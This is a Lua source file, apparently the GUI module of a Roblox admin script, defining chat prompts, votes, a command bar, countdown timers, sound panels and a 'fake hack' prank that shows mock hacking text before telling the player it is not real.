 					AddHUD(Player, Char)
 				else return nil
 				end
 			end)
 		end
 	end
 
 	for _,Player in pairs(Server.Players:GetPlayers()) do
 		ConnectHUD(Player)
 	end
 
 	Server.Players.PlayerAdded:connect(ConnectHUD)
 end
 
 function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
 	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
 	local Stopped = false
 
 	local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
 	Frame.Size = UDim2.new(1, 0, 1, -30)
 	Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
 
 	local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
 	local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
 	local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
 
 	local function AddLine(Speaker, MessageText, MessageColor)
 		MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
 		if MessageColor == true then MessageColor = Color3.new(1,0,0) end
 		if not MessageColor then MessageColor = GUI:ContrastColor() end
 		local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
 		local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
 		local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
 		Bounds.Parent = Frame
 	end
 
 	local RPR = CORE:CreateRemotePropertyReader(ChatBox)
 
 	local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
 	local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
 	local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
 
 	local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
 	local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
 
 	CORE:ExecuteResource("MessagePromptHandler", Frame)
 
 	wait(0.1)
 
 	if PreAdd then
 		for Num,Add in pairs(PreAdd) do
 			AddLine(Add[1], Add[2], Add[3])
 		end
 	end
 
 	--[[
 	CORE:ExecuteResource("ChatBoxLocal", ChatBox)
 
 	CORE:HandleEvent(ChatBox, "MouseEnter", function()
 		if ChatBox.Text == "Click here or press the '-' key" then
 			ChatBox.Text = ""
 		end
 	end)
 	]]
 
 	local function FireSendPressed()
 		local Text = CORE:ReadProperty(RPR, Player, "Text")
 		if Text ~= "" and Text ~= "Click here or press the '-' key" then
 			SendPressed:Fire(Text)
 			FakeCB.Visible = true
 			ClearCB:InvokeClient(Player)
 		end
 	end
 
 	Closed.Event:connect(function()
 		if Stopped == false then
 			Stopped = true
 			if SpeakerEvents then SpeakerEvents("Leave") end
 		end
 	end)
 
 	CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
 	EnterPressed.OnServerInvoke = FireSendPressed
 	AddMessage.OnInvoke = AddLine
 
 	if SpeakerEvents then
 		SpeakerEvents("Join")
 
 		coroutine.wrap(function()
 			repeat wait() until not Frame or not Frame.Parent
 			if Stopped == false then
 				Stopped = true
 				SpeakerEvents("Leave")
 			end
 		end)()
 	end
 
 	return SendPressed, AddMessage
 end
 
 function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
 	if tonumber(Time) then ShowFormButtons = false end
 	if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
 	local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
 	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
 	local Clicked = nil
 	local Alive = true
 
 	local function ClosePrompt(ButtonName)
 		Alive = false
 		Close:Invoke()
 		Clicked = ButtonName
 	end
 
 	for Num,Select in pairs(Buttons) do
 		local Name = Select
 		local Style = "White"
 		local TextColor3 = Color3.new(0,0,0)
 		if type(Select) == "table" then
 			Name = Select[1]
 			if Select[2] then Style = Select[2] end
 			if Select[3] then TextColor3 = Select[3] end
 		elseif type(Select) == "string" then
 			local Case = string.lower(Select)
 			if Case == "ok" then
 				Name = "Ok"
 				Style = "Primary"
 				TextColor3 = Color3.new(1,1,1)
 			elseif Case == "yes" then
 				Name = "Yes"
 				Style = "Gray"
 				TextColor3 = Color3.new(0,1,0)
 			elseif Case == "no" then
 				Name = "No"
 				Style = "Red"
 				TextColor3 = Color3.new(1,0,0)
 			end
 		end
 
 		if Style == "None" then Style = "Custom" end
 		if Style == "Casual" then Style = "RobloxButton" end
 		if Style == "Red" then Style = "RobloxButtonDefault" end
 		if Style == "Gray" then Style = "RobloxRoundButton" end
 		if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
 		if Style == "White" then Style = "RobloxRoundDropdownButton" end
 
 		local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
 		CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
 		SOUND:BindButton(Button)
 	end
 
 	if tonumber(Time) then
 		local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
 		Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
 		Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
 
 		for i = Time,0,-1 do
 			for ii = 1,10 do
 				if Alive == true then
 					Ticker.Text = i
 					wait(0.1)
 				else
 					break
 				end
 			end
 		end
 		if Alive == true then
 			ClosePrompt()
 		end
 	end
 
 	repeat wait() until Alive == false
 	return Clicked
 end
 
 function GUI:Vote(Speaker, Players, Text, Time)
 	if not Players or not Text or #Players <= 0 then return end
 
 	local Votes = {}
 	local Tick = 0
 
 	for _,Player in pairs(Players) do
 		local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
 		local CanVote = true
 		if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
 		if CanVote == true then
 			coroutine.wrap(function()
 				local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
 				if Answer == nil then Answer = "Unknown" end
 				table.insert(Votes, Answer)
 			end)()
 		end
 	end
 	repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
 	wait(2)
 	if Speaker and Speaker:FindFirstChild("PlayerGui") then
 		local Total = #Players
 		local Yes,No,Unknown = 0,0,0
 		for _,Vote in pairs(Votes) do
 			if Vote == "Yes" then Yes = Yes + 1
 			elseif Vote == "No" then No = No + 1
 			end
 		end
 		Unknown = #Players - #Votes
 
 		local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
 		local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
 		local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
 ]]..Yes.."/"..Total..[[
 ]]..math.ceil((Yes/Total)*100).."% "
 		local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
 ]]..No.."/"..Total..[[
 ]]..math.ceil((No/Total)*100).."% "
 		local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
 ]]..Unknown.."/"..Total..[[
 ]]..math.ceil((Unknown/Total)*100).."% "
 	end
 end
 
 --GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
 
 function GUI:LoadGui(Player, Text, InfoText)
 	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
 	local Dead = false
 
 	local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
 	local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
 	local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
 	local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
 	if InfoText then Info.Text = InfoText end
 
 	local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
 	local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
 
 	CloseGui.OnInvoke = function()
 		Close:Invoke()
 		Dead = true
 	end
 	AddInfo.OnInvoke = function(AddText)
 		Info.Text = AddText
 	end
 
 	coroutine.wrap(function()
 		for i = 0,math.huge,3 do
 			if Dead == false and Frame then
 				WaitIcon.Rotation = i
 				wait()
 			else
 				break
 			end
 		end
 	end)()
 
 	coroutine.wrap(function()
 		while Dead == false and Frame do
 			wait(0.5)
 			LoadLabel.Text = Text.."."
 			wait(0.5)
 			LoadLabel.Text = Text..".."
 			wait(0.5)
 			LoadLabel.Text = Text.."..."
 			wait(0.5)
 			LoadLabel.Text = Text..".."
 			wait(0.5)
 			LoadLabel.Text = Text.."."
 			wait(0.5)
 			LoadLabel.Text = Text
 		end
 	end)()
 
 	wait(1)
 
 	return CloseGui, AddInfo
 end
 
 function GUI:FakeHack(Player) coroutine.wrap(function()
 	if not Player or not Player:FindFirstChild("PlayerGui") then return end
 	local FakeText = [[
 >SHELL: BEGIN
 >RUNCODE:
 return {
 	local Hack = {"Account", "Tix", "Robux"};
 	function Start(Type, Inject, Scan)
 		if not Inject then Inject = "In-Game" end
 		return {Type, Inject, Scan}
 	end
 	for Exe,Exploit in pairs(Hack) do
 		local IP = Start("In-Game",Exploit,
 			BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
 			{"LOCAL-IP", "SERVER-IP", "HOST-IP"}
 		)
 		Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
 		for i = 1,#Injection[2] do
 			Log("PlayerData", "ConnectHost", "PLAYERNAME")
 		end
 		local PlayerProxy = newproxy(true)
 		setmetatable(PlayerProxy,Injection[3],{
 			__index = function(StealData, ...) local Data = unpack(...)
 				return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
 			end;
 		})
 	end
 	Log("HACKED HOST: PLAYERNAME")
 }
 >HACKED HOST: PLAYERNAME
 
 ]]
 	local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
 	if SG then SG:Destroy() end
 	SG = Instance.new("ScreenGui", Player.PlayerGui)
 	SG.Name = "MML Hack Gui"
 	local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
 	local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
 	local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
 	for i = 1,#FakeText do
 		HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
 		if math.random(1,5) == 1 then
 			wait()
 		end
 	end
 	HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
 	wait(3)
 	HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
 fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
 	X.Visible = true
 end)() end
 
 function GUI:CommandBar(Player)
 	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
 
 	local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
 	local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
 	local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
 	local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
 
 	local _,Rank = RANK:GetRank(Player)
 	local UsableCommands = {}
 	for CommandNames,Data in pairs(Commands) do
 		if not Data.Hidden then
 			if RANK:ConvertRank(Data[4]) <= Rank then
 				for _,Command in pairs(CommandNames) do
 					table.insert(UsableCommands, {Command, Data[3]})
 				end
 			end
 		end
 	end
 
 	local RPR = CORE:CreateRemotePropertyReader(CommandBox)
 
 	local function ExecuteText()
 		local Text = CORE:ReadProperty(RPR, Player, "Text")
 		CORE:Chatted(Text, Player, true)
 		CommandBox.Text = "Enter a command here"
 	end
 
 	local function AddSuggestion(Text)
 		if Text == nil then Text = Settings.Prefix end
 		local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
 		Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
 		CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
 			if Text == Settings.Prefix then
 				CommandBox.Text = Settings.Prefix
 			else
 				CommandBox.Text = Settings.Prefix..Text
 			end
 			CORE:ExecuteResource("Focus", CommandBox)
 		end, true)
 	end
 
 	CORE:HandleEvent(CommandBox, "MouseEnter", function()
 		if CommandBox.Text == "Enter a command here" then
 			CommandBox.Text = ""
 		end
 	end)
 
 	local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
 	CORE:ExecuteResource("ChatBoxLocal", CommandBox)
 
 	CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
 	EnterPressed.OnServerInvoke = ExecuteText
 
 	CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
 		Suggest.CanvasSize = UDim2.new(0,0,0,0)
 		Suggest:ClearAllChildren()
 		local Text = CORE:ReadProperty(RPR, Player, "Text")
 		if Text == "" then
 			AddSuggestion(Settings.Prefix)
 		end
 
 		if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
 			Text = string.sub(Text,#Settings.Prefix+1)
 		end
 		for _,Data in pairs(UsableCommands) do
 			local Command,Args = Data[1],Data[2]
 			if string.find(string.lower(Command),string.lower(Text)) then
 				local NewSuggestion = Command
 				if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
 				AddSuggestion(NewSuggestion)
 			end
 		end
 
 	end end)
 end
 
 function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
 	if not Player or not AllSeconds then return nil end
 	AllSeconds = tonumber(AllSeconds)
 	local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
 	AllSeconds = math.floor(AllSeconds)
 	if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
 	local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
 	local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
 	local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
 	local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
 	local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
 
 	local CurrentSeconds = AllSeconds
 	local Alive = true
 	coroutine.wrap(function() for i = 0,AllSeconds do
 		if not Alive then break end
 		local Seconds = tostring(math.fmod(CurrentSeconds,60))
 		local Minutes = tostring(math.floor(CurrentSeconds/60))
 		if #Seconds == 1 then Seconds = "0"..Seconds end
 		if #Minutes == 1 then Minutes = "0"..Minutes end
 		Time.Text = Minutes..":"..Seconds
 		wait(1)
 		if CurrentSeconds <= 0 then
 			Alarm:Play()
 			Time.Text = "00:00"
 			Part.Size = UDim2.new(1,0,1,0)
 			Restore:Invoke()
 			wait(4)
 			Close:Invoke()
 			break
 		else
 			Tick:Play()
 			Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
 			CurrentSeconds = CurrentSeconds - 1
 		end
 	end end)()
 
 	Closed.Event:connect(function()
 		if Alive == true then
 			Alive = false
 			Tick:Stop()
 			Alarm:Stop()
 		end
 	end)
 end)() end
 
 function GUI:DetachChat(Player)
 	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
 	if Player:FindFirstChild("DetachChatMML") then
 		Player.DetachChatMML:Invoke(true)
 		wait()
 		Player.DetachChatMML:Destroy()
 	end
 
 	local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
 	local SG = Frame.Parent.Parent.Parent
 
 	local DCBF = Instance.new("BindableFunction", Player)
 	DCBF.Name = "DetachChatMML"
 	DCBF.OnInvoke = function(Remove)
 		if Remove then
 			SG:Destroy()
 		end
 	end
 	CORE:ExecuteResource("CoreChat", SG)
 
 	local IsClosed = false
 	Closed.Event:connect(function()
 		CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
 		IsClosed = true
 	end)
 
 	coroutine.wrap(function()
 		Player.CharacterRemoving:wait()
 		if not IsClosed then
 			IsClosed = true
 			wait(1)
 			CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
 		end
 	end)()
 end
 
 function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
 	if not Player then return nil end
 	if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
 	Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
 
 	Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
 end)() end
 
 function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
 	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
 	if not SoundID then SoundID = SoundInfo["ID"] end
 	if not TitleText then TitleText = SoundInfo["Name"] end
 	if not CreatorText then CreatorText = SoundInfo["Creator"] end
 	if not InputSound then InputSound = Sound end
 
 	local NumSounds = 0
 	for _,SG in pairs(Player.PlayerGui:GetChildren()) do
 		if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
 			NumSounds = NumSounds + 1
 		end
 	end
 
 	local Size = UDim2.new(0.1, 100, 0.1, 100)
 	local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
 	Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
 
 	local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
 	local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
 	local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
 	local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
 	local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
 	local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
 	local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
 
 	local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
 	local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
 	if Sound then
 		CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
 	end
 	if Time then
 		local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
 		local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
 
 		coroutine.wrap(function()
 			local Alive = true
 
 			local function StopTimer() Alive = false end
 			Closed.Event:connect(StopTimer)
 			Minimized.Event:connect(StopTimer)
 			CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
 
 			for i = Time,0,-1 do
 				for ii = 1,10 do
 					if Alive == true then
 						Timer.Text = i
 						wait(0.1)
 					else
 						break
 					end
 				end
 			end
 			if Alive == true then
 				Close:Invoke()
 			else
 				Timer:Destroy()
 				Stop:Destroy()
 			end
 		end)()
 	end
 end
 
 ---- STRING REPLACEMENT OPERATIONS ----
 
 -- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
 
 -- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
 
 StringReplacements = {
 	{"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
 	{"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
 	{"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
 	{"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
 	{"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
 	{"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
 	{"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
 	{"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
